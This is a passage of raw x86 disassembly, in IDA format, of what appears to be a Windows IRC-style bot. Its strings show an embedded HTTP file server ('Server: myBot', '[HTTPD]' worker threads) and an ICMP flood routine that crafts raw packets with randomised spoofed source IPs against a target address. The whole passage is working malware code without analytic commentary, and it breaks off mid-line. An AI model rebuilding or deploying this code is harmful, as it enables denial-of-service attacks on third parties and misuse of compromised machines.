XREF: sub_4030C4+699j ; sub_4030C4+6B3j lea eax, [ebp+var_24C] lea edx, [eax+1] loc_403796: ; CODE XREF: sub_4030C4+6D7j mov cl, [eax] inc eax test cl, cl jnz short loc_403796 push esi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 pop edi pop esi xor eax, eax pop ebx leave retn sub_4030C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037B8 proc near ; CODE XREF: sub_4039DE+12Bp var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch push ebx push esi xor esi, esi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov [ebp+var_4], 400h mov [ebp+var_C], esi call ds:dword_41F03C mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403875 push esi push ebx call ds:dword_41F060 mov edx, eax cmp edx, esi mov [ebp+var_8], edx jz short loc_40386E push edi jmp short loc_403806 ; --------------------------------------------------------------------------- loc_403803: ; CODE XREF: sub_4037B8+B3j mov edx, [ebp+var_8] loc_403806: ; CODE XREF: sub_4037B8+49j xor eax, eax cmp [ebp+var_4], edx mov ecx, 100h lea edi, [ebp+var_40C] rep stosd jbe short loc_40381D mov [ebp+var_4], edx loc_40381D: ; CODE XREF: sub_4037B8+60j push 2 push esi neg edx push edx push ebx call ds:dword_41F05C push esi lea eax, [ebp+var_C] push eax push [ebp+var_4] lea eax, [ebp+var_40C] push eax push ebx call ds:dword_41F058 push esi push [ebp+var_4] lea eax, [ebp+var_40C] push eax push [ebp+arg_0] call dword_433534 cmp eax, 0FFFFFFFFh jnz short loc_403868 call dword_433558 cmp eax, 2733h jnz short loc_40386D xor eax, eax loc_403868: ; CODE XREF: sub_4037B8+9Fj sub [ebp+var_8], eax jnz short loc_403803 loc_40386D: ; CODE XREF: sub_4037B8+ACj pop edi loc_40386E: ; CODE XREF: sub_4037B8+46j push ebx call ds:dword_41F034 loc_403875: ; CODE XREF: sub_4037B8+31j pop esi pop ebx leave retn sub_4037B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403879 proc near ; CODE XREF: sub_403B4C+182p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push ebx mov ecx, eax push esi xor esi, esi lea edx, [ecx+1] loc_403888: ; CODE XREF: sub_403879+14j mov bl, [ecx] inc ecx test bl, bl jnz short loc_403888 sub ecx, edx mov [ebp+arg_0], ecx jz short loc_4038B3 loc_403896: ; CODE XREF: sub_403879+38j cmp byte ptr [esi+eax], 5Ch jnz short loc_4038A0 mov byte ptr [esi+eax], 2Fh loc_4038A0: ; CODE XREF: sub_403879+21j mov ecx, eax inc esi lea edx, [ecx+1] loc_4038A6: ; CODE XREF: sub_403879+32j mov bl, [ecx] inc ecx test bl, bl jnz short loc_4038A6 sub ecx, edx cmp esi, ecx jb short loc_403896 loc_4038B3: ; CODE XREF: sub_403879+1Bj pop esi pop ebx pop ebp retn sub_403879 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038B7 proc near ; CODE XREF: sub_4078FA+4DC0p var_4A4 = byte ptr -4A4h var_314 = byte ptr -314h var_114 = byte ptr -114h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A4h push edi lea eax, [ebp+var_4A4] push eax push 101h call dword_4334B0 push 6 push 1 push 2 call dword_4334A0 push [ebp+arg_14] mov [ebp+var_4], eax xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd mov [ebp+var_14], 2 call dword_4335EC push [ebp+arg_10] mov [ebp+var_12], ax call sub_406B1D pop ecx mov [ebp+var_10], eax push 10h lea eax, [ebp+var_14] push eax push [ebp+var_4] call dword_433458 cmp eax, 0FFFFFFFFh jz short loc_403997 mov eax, [ebp+arg_20] test eax, eax jnz short loc_40392A mov eax, (offset asc_41FA74+2) loc_40392A: ; CODE XREF: sub_4038B7+6Cj push ebx push esi push [ebp+arg_10] mov ebx, 100h push eax push [ebp+arg_1C] lea eax, [ebp+var_114] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push ebx push eax call sub_412E0D lea eax, [ebp+var_114] add esp, 1Ch lea esi, [eax+1] loc_403959: ; CODE XREF: sub_4038B7+A7j mov cl, [eax] inc eax test cl, cl jnz short loc_403959 push 0 sub eax, esi push eax lea eax, [ebp+var_114] push eax push [ebp+var_4] call dword_433534 push 40h pop ecx push 0 push ebx lea eax, [ebp+var_114] push eax push [ebp+var_4] xor esi, esi lea edi, [ebp+var_114] rep movsd call dword_433414 pop esi pop ebx loc_403997: ; CODE XREF: sub_4038B7+65j push [ebp+var_4] call dword_4335AC call dword_4335B8 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_314] push eax call sub_412BB5 cmp [ebp+arg_C], 0 pop ecx pop ecx pop edi jnz short locret_4039DC push 0 push [ebp+arg_8] lea eax, [ebp+var_314] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h locret_4039DC: ; CODE XREF: sub_4038B7+109j leave retn sub_4038B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4039DE proc near ; DATA XREF: sub_403B4C+24Eo var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov eax, 1654h lea ebp, [esp-74h] call sub_412DD0 mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax mov ecx, 0ECh lea edi, [ebp+74h+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+74h+var_3C8] push eax lea eax, [ebp+74h+var_550] push eax call sub_412BB5 lea eax, [ebp+74h+var_2C4] push eax lea eax, [ebp+74h+var_654] push eax call sub_412BB5 xor ebx, ebx add esp, 10h cmp [ebp+74h+var_A4], ebx lea eax, [ebp+74h+var_9C] jz short loc_403A46 push offset aTextHtml ; "text/html" jmp short loc_403A4B ; --------------------------------------------------------------------------- loc_403A46: ; CODE XREF: sub_4039DE+5Fj push offset aApplicationOct ; "application/octet-stream" loc_403A4B: ; CODE XREF: sub_4039DE+66j push eax call sub_412BB5 pop ecx pop ecx push 46h lea eax, [ebp+74h+var_68] push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push ebx push ebx mov esi, 409h push esi call ds:dword_41F068 push 1Eh lea eax, [ebp+74h+var_20] push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_41F064 cmp [ebp+74h+var_B8], 0FFFFFFFFh lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_9C] jnz short loc_403AB8 push eax lea eax, [ebp+74h+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_412BB5 add esp, 24h jmp short loc_403AD0 ; --------------------------------------------------------------------------- loc_403AB8: ; CODE XREF: sub_4039DE+C1j push [ebp+74h+var_B8] push eax lea eax, [ebp+74h+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_412BB5 add esp, 28h loc_403AD0: ; CODE XREF: sub_4039DE+D8j lea eax, [ebp+74h+var_1654] lea edx, [eax+1] loc_403AD9: ; CODE XREF: sub_4039DE+100j mov cl, [eax] inc eax cmp cl, bl jnz short loc_403AD9 push ebx sub eax, edx push eax lea eax, [ebp+74h+var_1654] push eax push [ebp+74h+var_44C] call dword_433534 cmp [ebp+74h+var_A4], ebx jnz short loc_403B12 lea eax, [ebp+74h+var_550] push eax push [ebp+74h+var_44C] call sub_4037B8 pop ecx pop ecx jmp short loc_403B2F ; --------------------------------------------------------------------------- loc_403B12: ; CODE XREF: sub_4039DE+11Cj lea eax, [ebp+74h+var_654] push eax push ebx push [ebp+74h+var_44C] lea eax, [ebp+74h+var_550] push eax call sub_4030C4 add esp, 10h loc_403B2F: ; CODE XREF: sub_4039DE+132j push [ebp+74h+var_44C] call dword_4335AC push [ebp+74h+var_B4] call sub_4111AE pop ecx push ebx call ds:dword_41F014 int 3 ; Trap to Debugger sub_4039DE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B4C proc near ; CODE XREF: sub_403E06+37Cp var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi push 41h xor eax, eax pop ecx lea edi, [ebp+var_210] rep stosd mov eax, [ebp+arg_8] xor esi, esi cmp byte ptr [eax], 2Fh mov [ebp+var_4], esi push eax jz short loc_403B7A push offset aS_6 ; "\\%s" jmp short loc_403B82 ; --------------------------------------------------------------------------- loc_403B7A: ; CODE XREF: sub_403B4C+25j mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_403B82: ; CODE XREF: sub_403B4C+2Cj lea eax, [ebp+var_10C] push eax call sub_412BB5 lea eax, [ebp+var_10C] add esp, 0Ch xor edi, edi lea ecx, [eax+1] loc_403B9C: ; CODE XREF: sub_403B4C+55j mov dl, [eax] inc eax test dl, dl jnz short loc_403B9C sub eax, ecx mov [ebp+arg_8], eax jz short loc_403C22 push 2 pop ebx loc_403BAD: ; CODE XREF: sub_403B4C+D4j lea eax, [ebp+var_10C] lea edx, [eax+1] loc_403BB6: ; CODE XREF: sub_403B4C+6Fj mov cl, [eax] inc eax test cl, cl jnz short loc_403BB6 sub eax, edx cmp ebx, eax jnb short loc_403BEF cmp [ebp+esi+var_10C], 25h jnz short loc_403BEF cmp [ebp+esi+var_10B], 32h jnz short loc_403BEF cmp [ebp+esi+var_10A], 30h jnz short loc_403BEF inc esi inc esi inc ebx mov [ebp+edi+var_210], 20h inc ebx jmp short loc_403C09 ; --------------------------------------------------------------------------- loc_403BEF: ; CODE XREF: sub_403B4C+75j ; sub_403B4C+7Fj ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_403BFF push 5Ch pop eax jmp short loc_403C02 ; --------------------------------------------------------------------------- loc_403BFF: ; CODE XREF: sub_403B4C+ACj movsx eax, al loc_403C02: ; CODE XREF: sub_403B4C+B1j mov [ebp+edi+var_210], al loc_403C09: ; CODE XREF: sub_403B4C+A1j inc esi lea eax, [ebp+var_10C] inc ebx inc edi lea ecx, [eax+1] loc_403C15: ; CODE XREF: sub_403B4C+CEj mov dl, [eax] inc eax test dl, dl jnz short loc_403C15 sub eax, ecx cmp esi, eax jb short loc_403BAD loc_403C22: ; CODE XREF: sub_403B4C+5Cj lea eax, [ebp+var_210] push eax push [ebp+arg_4] lea eax, [ebp+var_314] push offset aSS ; "%s%s" push eax call sub_412BB5 lea eax, [ebp+var_314] push offset asc_420328 ; "\n" push eax call sub_413859 add esp, 18h lea eax, [ebp+var_314] push eax call ds:dword_41F06C xor ebx, ebx inc ebx cmp eax, 10h jz short loc_403C73 cmp eax, 0FFFFFFFFh jnz short loc_403C76 push [ebp+arg_0] jmp loc_403CFB ; --------------------------------------------------------------------------- loc_403C73: ; CODE XREF: sub_403B4C+118j mov [ebp+var_4], ebx loc_403C76: ; CODE XREF: sub_403B4C+11Dj cmp [ebp+edi+var_211], 5Ch jnz short loc_403C83 mov [ebp+var_4], ebx loc_403C83: ; CODE XREF: sub_403B4C+132j mov eax, [ebp+arg_0] xor edi, edi cmp [ebp+var_4], edi mov [ebp+var_6C4], eax mov [ebp+var_318], edi jz short loc_403D06 cmp [ebp+arg_C], edi jz short loc_403CFA lea edi, [ebp+var_314] dec edi loc_403CA5: ; CODE XREF: sub_403B4C+15Fj mov al, [edi+1] inc edi test al, al jnz short loc_403CA5 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] mov esi, offset asc_4205E4 ; "*" push eax movsw call sub_412BB5 lea eax, [ebp+var_210] push eax call sub_403879 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_412BB5 or [ebp+var_330], 0FFFFFFFFh add esp, 14h mov [ebp+var_31C], ebx xor edi, edi jmp short loc_403D55 ; --------------------------------------------------------------------------- loc_403CFA: ; CODE XREF: sub_403B4C+150j push eax loc_403CFB: ; CODE XREF: sub_403B4C+122j call dword_4335AC jmp loc_403DED ; --------------------------------------------------------------------------- loc_403D06: ; CODE XREF: sub_403B4C+14Bj push edi push edi push 3 push edi push ebx push 80000000h lea eax, [ebp+var_314] push eax call ds:dword_41F03C mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_403D55 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_412BB5 pop ecx pop ecx push edi push esi mov [ebp+var_31C], edi call ds:dword_41F060 push esi mov [ebp+var_330], eax call ds:dword_41F034 loc_403D55: ; CODE XREF: sub_403B4C+1ACj ; sub_403B4C+1D7j mov esi, [ebp+arg_10] push esi lea eax, [ebp+var_8C4] push offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"... push eax call sub_412BB5 push edi lea eax, [ebp+var_8C4] push 4 push eax call sub_410EEA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43433C[eax], esi lea eax, [ebp+var_8] push eax push edi lea eax, [ebp+var_6C4] push eax push offset sub_4039DE push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_403DFC push [ebp+arg_0] call dword_4335AC call ds:dword_41F008 push eax lea eax, [ebp+var_8C4] push offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"... push eax call sub_412BB5 lea eax, [ebp+var_8C4] push eax call sub_401C33 add esp, 10h loc_403DED: ; CODE XREF: sub_403B4C+1B5j ; sub_403B4C+2B8j pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_403DF4: ; CODE XREF: sub_403B4C+2B6j push 5 call ds:dword_41F000 loc_403DFC: ; CODE XREF: sub_403B4C+26Fj cmp [ebp+var_318], edi jz short loc_403DF4 jmp short loc_403DED sub_403B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_403E06 proc near ; DATA XREF: sub_401141+363o ; sub_4078FA+3FA2o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_464 = byte ptr -464h var_360 = dword ptr -360h var_358 = dword ptr -358h var_354 = dword ptr -354h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_340 = byte ptr -340h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_412DD0 mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, eax mov ecx, 0ECh lea edi, [ebp+var_6F0] rep movsd push [ebp+var_360] xor esi, esi inc esi mov [eax+3ACh], esi xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd mov [ebp+var_14], esi mov [ebp+var_24], 2 call dword_4335EC and [ebp+var_20], 0 push 0 push esi push 2 mov [ebp+var_22], ax call dword_4334A0 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi mov [ebp+var_8], ebx jz loc_4041D9 mov eax, [ebp+var_358] imul eax, 234h mov dword_434344[eax], ebx push 10h lea eax, [ebp+var_24] push eax push ebx call dword_433578 cmp eax, edi jz loc_4041D9 push 7FFFFFFFh push ebx call dword_4335C0 cmp eax, edi jz loc_4041D9 lea eax, [ebp+var_14] push eax push 8004667Eh push ebx call dword_433444 cmp eax, edi jz loc_4041D9 push 41h xor eax, eax pop ecx push eax push eax push eax lea eax, [ebp+var_23C] push eax mov [ebp+var_124], ebx mov [ebp+var_128], esi mov [ebp+var_4], ebx lea eax, [ebx+1] jmp loc_4041BB ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_403E06+3CDj xor esi, esi mov [ebp+arg_0], esi loc_403EF0: ; CODE XREF: sub_403E06+39Cj lea eax, [ebp+var_23C] push eax push esi call dword_4334F4 test eax, eax jz loc_404198 cmp esi, ebx jnz short loc_403F6D lea eax, [ebp+var_10] push eax lea eax, [ebp+var_138] push eax push ebx mov [ebp+var_10], 10h call dword_433464 cmp eax, 0FFFFFFFFh jz loc_404198 mov edx, [ebp+var_128] xor ecx, ecx test edx, edx jbe short loc_403F46 loc_403F38: ; CODE XREF: sub_403E06+13Ej cmp [ebp+ecx*4+var_124], eax jz short loc_403F46 inc ecx cmp ecx, edx jb short loc_403F38 loc_403F46: ; CODE XREF: sub_403E06+130j ; sub_403E06+139j cmp ecx, edx jnz short loc_403F5C cmp edx, 40h jnb short loc_403F5C mov [ebp+ecx*4+var_124], eax inc [ebp+var_128] loc_403F5C: ; CODE XREF: sub_403E06+142j ; sub_403E06+147j cmp eax, [ebp+var_4] jbe loc_404198 mov [ebp+var_4], eax jmp loc_404198 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_403E06+102j mov edx, 400h xor eax, eax mov ecx, edx lea edi, [ebp+var_28F0] rep stosd push eax mov ecx, edx lea edi, [ebp+var_18F0] rep stosd push 1000h lea eax, [ebp+var_28F0] push eax push esi call dword_433414 test eax, eax jg short loc_403FF1 push esi call dword_4335AC xor eax, eax cmp [ebp+var_128], eax jbe loc_404198 loc_403FB5: ; CODE XREF: sub_403E06+1BFj cmp [ebp+eax*4+var_124], esi jz short loc_403FDB inc eax cmp eax, [ebp+var_128] jb short loc_403FB5 jmp loc_404198 ; --------------------------------------------------------------------------- loc_403FCC: ; CODE XREF: sub_403E06+1DEj mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx inc eax loc_403FDB: ; CODE XREF: sub_403E06+1B6j mov ecx, [ebp+var_128] dec ecx cmp eax, ecx jb short loc_403FCC dec [ebp+var_128] jmp loc_404198 ; --------------------------------------------------------------------------- loc_403FF1: ; CODE XREF: sub_403E06+198j push 41h xor eax, eax pop ecx lea edi, [ebp+var_340] rep stosd lea eax, [ebp+var_28F0] xor ebx, ebx xor esi, esi lea ecx, [eax+1] loc_40400B: ; CODE XREF: sub_403E06+20Aj mov dl, [eax] inc eax test dl, dl jnz short loc_40400B sub eax, ecx mov [ebp+var_C], eax jz loc_404195 loc_40401D: ; CODE XREF: sub_403E06+2D0j mov al, [ebp+ebx+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_4040C0 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_413920 test eax, eax pop ecx pop ecx jz short loc_40409A lea eax, [ebp+var_18F0] lea edx, [eax+1] loc_404054: ; CODE XREF: sub_403E06+253j mov cl, [eax] inc eax test cl, cl jnz short loc_404054 sub eax, edx cmp eax, 5 jbe short loc_40409A mov eax, offset asc_41FA74 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_413920 pop ecx pop ecx push eax call sub_413920 pop ecx pop ecx push eax call sub_413859 pop ecx pop ecx lea edx, [ebp+var_340] loc_40408E: ; CODE XREF: sub_403E06+290j mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_40408E jmp short loc_4040AE ; --------------------------------------------------------------------------- loc_40409A: ; CODE XREF: sub_403E06+243j ; sub_403E06+25Aj push 3 mov edi, offset asc_420620 ; "\r\n" lea esi, [ebp+var_18F0] pop ecx xor eax, eax repe cmpsb jz short loc_4040E1 loc_4040AE: ; CODE XREF: sub_403E06+292j xor eax, eax mov ecx, 400h lea edi, [ebp+var_18F0] rep stosd or esi, 0FFFFFFFFh loc_4040C0: ; CODE XREF: sub_403E06+227j lea eax, [ebp+var_28F0] inc ebx inc esi lea ecx, [eax+1] loc_4040CB: ; CODE XREF: sub_403E06+2CAj mov dl, [eax] inc eax test dl, dl jnz short loc_4040CB sub eax, ecx cmp ebx, eax jb loc_40401D jmp loc_404195 ; --------------------------------------------------------------------------- loc_4040E1: ; CODE XREF: sub_403E06+2A6j mov ecx, [ebp+var_128] xor eax, eax test ecx, ecx jbe short loc_404120 loc_4040ED: ; CODE XREF: sub_403E06+2F6j mov edx, [ebp+eax*4+var_124] cmp edx, [ebp+arg_0] jz short loc_404115 inc eax cmp eax, ecx jb short loc_4040ED jmp short loc_404120 ; --------------------------------------------------------------------------- loc_404100: ; CODE XREF: sub_403E06+312j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ecx, [ebp+var_128] inc eax loc_404115: ; CODE XREF: sub_403E06+2F1j dec ecx cmp eax, ecx jb short loc_404100 dec [ebp+var_128] loc_404120: ; CODE XREF: sub_403E06+2E5j ; sub_403E06+2F8j lea eax, [ebp+var_340] lea edx, [eax+1] loc_404129: ; CODE XREF: sub_403E06+328j mov cl, [eax] inc eax test cl, cl jnz short loc_404129 sub eax, edx mov esi, eax lea eax, [ebp+var_464] lea ecx, [eax+1] loc_40413D: ; CODE XREF: sub_403E06+33Cj mov dl, [eax] inc eax test dl, dl jnz short loc_40413D sub eax, ecx add eax, esi cmp eax, 104h jnb short loc_40418C and [ebp+var_C], 0 lea eax, [ebp+var_C] push eax push 8004667Eh push [ebp+arg_0] call dword_433444 push [ebp+var_358] lea eax, [ebp+var_340] push [ebp+var_34C] push eax lea eax, [ebp+var_464] push eax push [ebp+arg_0] call sub_403B4C add esp, 14h jmp short loc_404195 ; --------------------------------------------------------------------------- loc_40418C: ; CODE XREF: sub_403E06+347j push [ebp+arg_0] call dword_4335AC loc_404195: ; CODE XREF: sub_403E06+211j ; sub_403E06+2D6j ... mov ebx, [ebp+var_8] loc_404198: ; CODE XREF: sub_403E06+FAj ; sub_403E06+120j ... mov esi, [ebp+arg_0] inc esi cmp esi, [ebp+var_4] mov [ebp+arg_0], esi jbe loc_403EF0 push 41h xor eax, eax pop ecx push eax push eax push eax lea eax, [ebp+var_23C] push eax mov eax, [ebp+var_4] inc eax loc_4041BB: ; CODE XREF: sub_403E06+E0j lea esi, [ebp+var_128] lea edi, [ebp+var_23C] push eax rep movsd call dword_433544 cmp eax, 0FFFFFFFFh jnz loc_403EEB loc_4041D9: ; CODE XREF: sub_403E06+66j ; sub_403E06+8Dj ... call dword_433558 push eax lea eax, [ebp+var_8F0] push offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"... push eax call sub_412BB5 xor esi, esi add esp, 0Ch cmp [ebp+var_350], esi jnz short loc_404221 push esi push [ebp+var_354] lea eax, [ebp+var_8F0] push eax lea eax, [ebp+var_6EC] push eax push [ebp+var_6F0] call sub_4045DD add esp, 14h loc_404221: ; CODE XREF: sub_403E06+3F6j lea eax, [ebp+var_8F0] push eax call sub_401C33 pop ecx push ebx call dword_4335AC push [ebp+var_358] call sub_4111AE pop ecx push esi call ds:dword_41F014 int 3 ; Trap to Debugger sub_403E06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_404249 proc near ; DATA XREF: sub_4078FA+2A62o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h pop ecx mov esi, eax lea edi, [ebp+var_1BC] rep movsd push 0FFh xor esi, esi push 3 inc esi push 2 mov [eax+19Ch], esi call dword_4334A0 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4042B0 call dword_433558 push eax lea eax, [ebp+var_3BC] push offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"... push eax call sub_412BB5 add esp, 0Ch xor esi, esi loc_4042A2: ; CODE XREF: sub_404249+9Cj ; sub_404249+C3j cmp [ebp+var_24], esi jnz loc_404504 jmp loc_4044E4 ; --------------------------------------------------------------------------- loc_4042B0: ; CODE XREF: sub_404249+3Aj push 4 lea ecx, [ebp+var_C] push ecx mov [ebp+var_C], esi push 2 xor esi, esi push esi push eax call dword_4334BC cmp eax, 0FFFFFFFFh jnz short loc_4042E7 call dword_433558 push eax lea eax, [ebp+var_3BC] push offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"... push eax call sub_412BB5 add esp, 0Ch jmp short loc_4042A2 ; --------------------------------------------------------------------------- loc_4042E7: ; CODE XREF: sub_404249+7Fj lea eax, [ebp+var_1B8] push eax call dword_433514 cmp eax, 0FFFFFFFFh jnz short loc_40430E lea eax, [ebp+var_3BC] push offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP." push eax call sub_412BB5 pop ecx pop ecx jmp short loc_4042A2 ; --------------------------------------------------------------------------- loc_40430E: ; CODE XREF: sub_404249+AEj xor eax, eax lea edi, [ebp+var_1C] stosd stosd stosd stosd push esi mov [ebp+var_1C], 2 call dword_4335EC mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_433514 mov ebx, ds:dword_41F004 mov [ebp+var_18], eax mov [ebp+arg_0], esi call ebx mov [ebp+var_8], eax call ebx sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_40449C mov esi, 100h loc_404362: ; CODE XREF: sub_404249+24Bj push 41Ch mov byte_432FF8, 45h call dword_4335EC mov word_432FFA, ax xor eax, eax cmp [ebp+var_2C], eax mov word_432FFC, 1 mov word_432FFE, ax mov byte_433000, 80h mov byte_433001, 1 mov word_433002, ax jz short loc_4043D1 call sub_412D71 mov edi, eax shl edi, 8 call sub_412D71 add edi, eax shl edi, 8 call sub_412D71 add edi, eax shl edi, 8 call sub_412D71 add edi, eax mov dword_433004, edi jmp short loc_4043E9 ; --------------------------------------------------------------------------- loc_4043D1: ; CODE XREF: sub_404249+159j push [ebp+var_1BC] call sub_406C33 pop ecx push eax call dword_433514 mov dword_433004, eax loc_4043E9: ; CODE XREF: sub_404249+186j mov eax, [ebp+var_18] mov dword_433008, eax call sub_412D71 cdq mov ecx, esi idiv ecx mov byte_43300C, dl call sub_412D71 cdq mov ecx, esi idiv ecx mov byte_43300D, dl call sub_412D71 cdq mov ecx, 0F0h idiv ecx and word_43300E, 0 mov word_433012, 1 inc edx mov word_433010, dx call sub_412D71 cdq mov ecx, 0FFh idiv ecx push 10h mov edi, offset dword_433014 mov al, dl mov cl, al mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, esi rep stosd lea eax, [ebp+var_1C] push eax xor edi, edi push edi push 41Ch push offset byte_432FF8 push [ebp+var_4] call dword_433470 cmp eax, 0FFFFFFFFh jz loc_404521 inc [ebp+arg_0] call ebx sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] jbe loc_404362 xor esi, esi loc_40449C: ; CODE XREF: sub_404249+10Ej push [ebp+var_4] call dword_4335AC mov eax, [ebp+arg_0] imul eax, 3Ch mov ecx, eax shr eax, 0Ah xor edx, edx div [ebp+var_30] shr ecx, 14h push ecx push eax push [ebp+arg_0] lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to IP: %s. S"... push eax call sub_412BB5 add esp, 1Ch cmp [ebp+var_24], esi jnz short loc_404504 loc_4044E4: ; CODE XREF: sub_404249+62j push esi push [ebp+var_28] lea eax, [ebp+var_3BC] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4045DD add esp, 14h loc_404504: ; CODE XREF: sub_404249+5Cj ; sub_404249+299j lea eax, [ebp+var_3BC] push eax call sub_401C33 push [ebp+var_38] call sub_4111AE pop ecx pop ecx push esi loc_40451B: ; CODE XREF: sub_404249+347j call ds:dword_41F014 loc_404521: ; CODE XREF: 